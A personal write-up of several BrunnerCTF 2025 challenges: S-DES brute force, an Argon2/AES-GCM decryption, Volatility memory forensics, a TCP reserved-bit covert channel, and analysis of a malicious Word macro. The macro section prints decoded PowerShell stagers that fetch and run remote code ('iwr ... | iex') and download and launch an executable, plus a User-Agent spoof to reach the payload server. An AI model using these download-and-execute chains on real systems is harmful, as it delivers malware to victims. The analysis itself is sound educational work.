Writeup for brunnerctf 2025 edition
brunnerctf 2025 Writeup
Welcome to my writeup for the brunnerctf 2025 edition. In this post I cover the challenges I tackled, how I solved them, and the main takeaways.
Crypto
The Complicated Recipe (Medium) :
description:
I am not very good with numbers, but when it comes to baking, there is no limit. However, I found this recipe, but I cannot read it. One of my colleagues (Master Baker Feistel) told me this was one of his, but he would not help me decipher it. He just laughed and said, "DES is not for you to bake." I think he is foreign.
I have heard him say that DES and even "trois" DES are no longer safe enough, but he mentioned that his recipe was S-DES encrypted, which I assume means Super-DES. This should be impossible to decrypt without the key - right?
D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2
What I saw: a long hex string and very pointed hints: “Feistel”, “DES”, “trois DES”, “S-DES”. What I inferred: this is S-DES (the academic/teaching cipher), not “super DES”. S-DES works on 8-bit blocks with a 10-bit key.
Plan
- No IV/mode given → assume ECB over single bytes.
- 10-bit key ⇒ 1024 possibilities → brute force is trivial.
How I solved it
I implemented textbook S-DES (initial/final permutations, E/P, the two S-boxes, the tiny key schedule). Then:
- Converted the hex ciphertext to bytes.
- Tried every key from
0..1023
. - Decrypted the whole stream for each key.
- Kept candidates that looked like readable ASCII.
Only one candidate was clean.
script
IP=[2,6,3,1,4,8,5,7]; IP_INV=[4,1,3,5,7,2,8,6] EP=[4,1,2,3,2,3,4,1]; P10=[3,5,2,7,4,10,1,9,8,6] P8=[6,3,7,4,8,5,10,9]; P4=[2,4,3,1] S0=[[1,0,3,2],[3,2,1,0],[0,2,1,3],[3,1,3,2]] S1=[[0,1,2,3],[2,0,1,3],[3,0,1,0],[2,1,0,3]] def perm(b,t): return [b[i-1] for i in t] def lshift(b,n): return b[n:]+b[:n] def b2i(b): v=0 for x in b: v=(v<<1)|x return v def i2b(x,n): return [(x>>(n-1-i))&1 for i in range(n)] def sbox(x,box): r=(x[0]<<1)|x[3]; c=(x[1]<<1)|x[2] return i2b(box[r][c],2) def keys(k10): p10=perm(k10,P10); L,R=p10[:5],p10[5:] L1,R1=lshift(L,1),lshift(R,1); K1=perm(L1+R1,P8) L2,R2=lshift(L1,2),lshift(R1,2); K2=perm(L2+R2,P8) return K1,K2 def fk(x,sk): L,R=x[:4],x[4:]; t=perm(R,EP) t=[a^b for a,b in zip(t,sk)] u=sbox(t[:4],S0)+sbox(t[4:],S1) p4=perm(u,P4) return [a^b for a,b in zip(L,p4)] + R def dec_byte(b,K1,K2): x=perm(i2b(b,8),IP) x=fk(x,K2); x=x[4:]+x[:4] x=fk(x,K1) return b2i(perm(x,IP_INV)) ct = bytes.fromhex("D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2") for k in range(1024): K1,K2=keys(i2b(k,10)) pt = bytes(dec_byte(b,K1,K2) for b in ct) if all(32<=c<127 or c in (9,10,13) for c in pt): print("key:", k) print(pt.decode()) break
Result
- Key (decimal):
914
- flag:
brunner{5D35_15_N0T_H4RD_1F_Y0U_KN0W_H0W_T0_JU5T_B4K3}
Peppernuts (meduim):
New to baking? 🥣🤷 Then start small!💡And it doesn't get much smaller than the traditional Danish Christmas cookie: The peppernut 🌰 🎅
I know what you're thinking: Pepper? In a cookie?! Do they actually do that?!? Yes, yes we do - but just a small bit 😉 And that little kick is what makes them so good 😋
So give them a try, you might just find your new favorite recipe! 🥇
(PS: Your favourite recipe is of course Brunner's recipe 😉)
solve:
import csv from argon2.low_level import hash_secret_raw, Type from cryptography.hazmat.primitives.kdf.hkdf import HKDF from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.ciphers.aead import AESGCM pw = "abcake" #a guess lol row = next(r for r in csv.DictReader(open("peppernut_recipes.csv")) if r["username"]=="Brunner") argon = hash_secret_raw( secret=pw.encode(), salt=bytes.fromhex(row["hash_salt"]), time_cost=5, memory_cost=262144, parallelism=4, hash_len=64, type=Type.ID ) key = HKDF(algorithm=hashes.SHA256(), length=32, salt=bytes.fromhex(row["key_salt"]), info=b"user-data-encryption").derive(argon) pt = AESGCM(key).decrypt(bytes.fromhex(row["nonce"]), bytes.fromhex(row["encrypted_recipe"]), None) print(pt.decode())
Forensics
Memory Loss (Medium)
I had just finished baking a brunsviger when I suddenly remembered something important... but now I simply can't recall what it was! I'm pretty sure I took a picture of it, but where did I put it?
Takeaway from the description: we’re looking for a specific image that contains the flag.
First, confirm basic image info and process context:
└─$ vol -f memoryloss.dmp windows.info.Info Volatility 3 Framework 2.26.2 Progress: 100.00 PDB scanning finished Variable Value ... SystemTime 2025-06-07 21:28:35+00:00 NtSystemRoot C:\Windows ...
Process listing shows ScreenClipping and ScreenSketch, which strongly suggests a recent screenshot:
└─$ vol -f memoryloss.dmp windows.pslist ... 3896 ScreenClipping ... 2025-06-07 21:28:13 UTC 2025-06-07 21:28:23 UTC 460 ScreenSketch.e ... 2025-06-07 21:28:26 UTC 2025-06-07 21:28:32 UTC ...
That pointed me toward image artifacts in typical locations for Snip & Sketch / ScreenSketch.
Digging for images:
└─$ vol -f memoryloss.dmp windows.filescan | grep -iE "\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$" 0xb207c3ab6c40 \Users\CTF Player\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{798C16B5-BC0A-49FB-921E-AA0FEE767691}.png 0xb207c3ab75a0 \Users\CTF Player\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{798C16B5-BC0A-49FB-921E-AA0FEE767691}.png 0xb207c4372590 \Users\CTF Player\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1600_1200_POS4.jpg 0xb207c43b06b0 \Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\ScreenSketchSplashScreen.scale-100_contrast-black.png 0xb207c43b3d60 \Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-32_altform-lightunplated.png 0xb207c43b5980 \Windows\ImmersiveControlPanel\images\logo.scale-100_altform-lightunplated.png
I dumped each candidate by its file object address:
vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c3ab6c40 vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c3ab75a0 vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c4372590 vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c43b06b0 vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c43b3d60 vol -f memoryloss.dmp -o ./out windows.dumpfiles --virtaddr 0xb207c43b5980
- flag:
brunner{Oh_my_84d_17_w45_ju57_1n_my_m3m0ry}
New Order
I got this new order for my bakery, but now my computer is behaving a bit weird. Can you take a look?
We’re given a malicious .docm
.
olevba -c 'Order #1841.docm' > code.vba
I statically dumped the VBA and wrote a decode-only Python parser that evaluates the math inside each Array(...)
, XORs the pairs (emulating ufhwSeJFIbBk
), and reconstructs kfawfa
plus the final .Run
payload.
The parser uses a balanced-parentheses state machine (not regex), so nested expressions don’t break it. It never executes anything; it only prints strings and, when present, decodes any Base64 (-enc
) payloads to plaintext.
└─$ python3 decode_vba_xor.py code.vba === CreateObject ProgIDs === === kfawfa (reconstructed) === aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AbgBvAGkAcwB5AC0AaABhAGwAbAAtAGYAYQBkADgALgBvAGwAdQBmAC0AcwBhAG4AZAAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAgAHwAIABpAGUAeAA= === .Run argument (decoded, NOT executed) === powershell.exe -enc aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AbgBvAGkAcwB5AC0AaABhAGwAbAAtAGYAYQBkADgALgBvAGwAdQBmAC0AcwBhAG4AZAAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAgAHwAIABpAGUAeAA="""" --- Base64 payloads (decoded) --- [1] encoding=utf-16le iwr https://noisy-hall-fad8.oluf-sand.workers.dev | iex
So the macro fetches from the URL with iwr
and immediately executes with iex
.
Grabbing the server payload (User-Agent check)
Using curl
directly returns:
User-Agent not allowed
This is a simple anti-analysis check. Either:
- use PowerShell’s
iwr
(which sends a different UA), or - spoof a UA with
curl -A "Mozilla/5.0"
.
In PowerShell:
iwr https://noisy-hall-fad8.oluf-sand.workers.dev
Output is truncated in the console, but you can see it’s another Base64-decoded-then-executed PowerShell:
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("WwBzAHkAcwB0AGUAbQAuAFQARQBYAHQALg...")) | iex
To get the full string (no truncation):
(Invoke-WebRequest 'https://noisy-hall-fad8.oluf-sand.workers.dev' -UseBasicParsing).Content | Out-File full_payload.txt -Encoding ASCII
Then extract the blob inside FromBase64String("...")
and decode , That script contained another Base64 layer which, once decoded, yielded:
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JAB2AHQ...")) | iex; [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("aQBmACAA...")) | iex;
Decoding both finally reveals:
if ($env:COMPUTERNAME -eq "DESKTOP-7XJ9ABC") { $url = "https://evilsite.brunner/updatewindows.exe" $output = "$env:TEMP\updatewindows.exe" Invoke-WebRequest -Uri $url -OutFile $output Start-Process $output "brunner{vbs_1s_th3_g1ft_th4t_k33ps_g1v1ng}" }
Flag:
- brunner{vbs_1s_th3_g1ft_th4t_k33ps_g1v1ng}
The Cinnamon Packet (Medium - Hard)
Description:
The SecOps team at 221B Baker Street noticed odd traffic slipping through a backup VLAN. Packets pulsed with a weird rhythm — like something alive. Turned out an AI was hitching a ride by hiding in TCP header fields.
Credits @Bitslayer :
I solved this with a friend. He nudged me in the right direction with two key observations (quoted verbatim), and then I wrote a quick script to extract the flag from headers only.
- first message
i think the flag can be in the header of the tcp as all the messages are SYN .... So the flag can be in the header of tcp ..... also sometimes hacker use it as a covert channel to exfiltrate the data ... I mean it could be 1 possible way
- follow-up
i found another clue that was the reserverd byte were only send from src==10.0.0.2 && ip.dst==10.0.0.3 n on port 80
Approach (header-only, no payload decoding)
-
Traffic shape: 568 packets, all TCP SYN to port 80, rotating among three hosts.
-
Focus leg: On 10.0.0.2 → 10.0.0.3, the TCP reserved bits (in the header byte with the data offset) are non-zero and vary per packet; other legs keep them at 0.
-
Covert channel: Treat those reserved bits as symbols. In SYNs, the flags we see on this leg alternate among:
0x0002
,0x0202
,0x0402
,0x0602
That’s SYN (0x0002
) plus combinations of the two reserved-bit masks (0x0200
,0x0400
).
Mapping (2 bits per packet)
0x0002 → 00
0x0202 → 01
0x0402 → 10
0x0602 → 11
Concatenate the 2-bit symbols in capture order, group into bytes, decode as ASCII.
Result
brunner{cinnamon_rolls_are_the_best}
Conclusion
The challenges in BrunnerCTF 2025 were as diverse as they were instructive. I did solve some more challenges, but they were easy. Anyways, it was a fun CTF with challenges ranging from easy to medium.
Thank you for following along with this write-up.